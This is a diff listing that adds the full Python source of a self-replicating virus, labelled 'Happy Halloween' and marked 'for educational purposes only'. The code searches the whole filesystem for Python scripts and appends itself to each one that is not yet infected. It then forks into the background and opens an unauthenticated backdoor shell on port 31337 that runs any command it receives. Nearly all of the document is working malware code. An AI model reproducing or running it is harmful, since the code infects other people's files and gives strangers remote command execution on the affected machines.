+# Happy Halloween ~ (A python appender VX)
+# Finds all python scripts on a system, infects them
+# with the VX if not infected, payload on infected scripts
+# say "Happy Halloween" if run on October 31st. Virus
+# opens a backdoor on port 31337 which can be used to
+# send commands when an infected script has been executed.
+# F O R E D U C A T I O N A L P U R P O S E S O N L Y
+ #!x
+import glob #!x
+import sys #!x
+import os #!x
+import socket #!x
+from datetime import datetime #!x
+from string import * #!x
+date = datetime.now() #!x
+if date.month == 10: #!x
+ if date.day == 31: #!x
+ print "Happy Halloween!" #!x
+pid = os.fork() #!x
+if pid > 0: #!x
+ sys.exit(0) #!x
+cmd = 'find /. -name "*.py" -print 2>/dev/null' #!x
+for Files in os.popen(cmd).readlines(): #!x
+ Files = Files[:-1] #!x
+ try: #!x
+ vCode = open(__file__, 'r') #!x
+ victim = open (Files, 'r') #!x
+ readvictim = victim.read() #!x
+ if find(readvictim, "pRdElKa") == -1: #!x
+ victim = open(Files, 'a') #!x
+ for code in vCode.readlines(): #!x
+ if ("#!x") in code: #!x
+ vCode.close() #!x
+ mycode=(code) #!x
+ victim.write(mycode) #!x
+ except IOError: #!x
+ a = 1 #!x
+pid = os.fork() #!x
+if pid > 0: #!x
+ sys.exit(0) #!x
+try: #!x
+ s = socket.socket() #!x
+ s.bind(("0.0.0.0",31337)) #!x
+ s.listen(1) #!x
+except socket.error, (value, message): #!x
+ sys.exit(0) #!x
+while 1: #!x
+ (cli,add) = s.accept() #!x
+ info = {"platform":sys.platform,"version":sys.version} #!x
+ cli.send("".join(("You are connected to shell\r\n", info["platform"],info["version"],"\r\n"))) #!x
+ while 1:#!x
+ data = cli.recv(1024)#!x
+ resp = os.popen(data).readlines()#!x
+ cli.send("".join(resp))#!x